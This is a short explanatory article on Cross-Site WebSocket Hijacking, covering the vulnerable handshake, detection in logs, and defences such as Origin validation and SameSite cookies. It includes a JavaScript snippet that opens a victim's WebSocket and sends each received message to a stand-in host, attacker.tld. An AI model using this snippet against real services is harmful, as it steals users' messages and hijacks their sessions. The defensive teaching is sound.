Cross-Site WebSocket Hijacking

Cross-Site WebSocket Hijacking (CSWSH) is the WebSocket equivalent of CSRF. A WebSocket connection's handshake travels as an ordinary HTTP request, and if the server authenticates it with the session cookie alone without checking the Origin header or an anti-CSRF token, an attacker's site can open a connection to the victim's WebSocket using their session and read or send messages on their behalf.

The vulnerable handshake is recognizable because the server accepts a foreign Origin:

GET /chat HTTP/1.1
Host: victim.tld
Upgrade: websocket
Connection: Upgrade
Origin: https://attacker.tld
Cookie: session=<the victim's, sent by the browser>

From the attacker's page, JavaScript opens the connection and exfiltrates whatever it receives:

var ws = new WebSocket('wss://victim.tld/chat');
ws.onmessage = e => fetch('https://attacker.tld/x?d=' + btoa(e.data));
ws.onopen = () => ws.send('READY');

Because the browser attaches the cookie automatically, the attacker inherits the session without seeing it. Impact depends on the channel: message theft, authenticated actions or real-time data dumping.

How to detect it. The signature is a WebSocket handshake (Upgrade: websocket) whose Origin does not match the service domain yet still gets 101 Switching Protocols. In logs, watch for WebSocket connections with an external Origin and valid sessions, and spikes of WS traffic to unexpected origins.

Defence. Validate the Origin header in the handshake against an allow-list, require your own anti-CSRF token on the connection (not just the cookie), and mark the session cookie SameSite=Lax/Strict. It borders on misconfigured CORS in the same origin-trust flaw.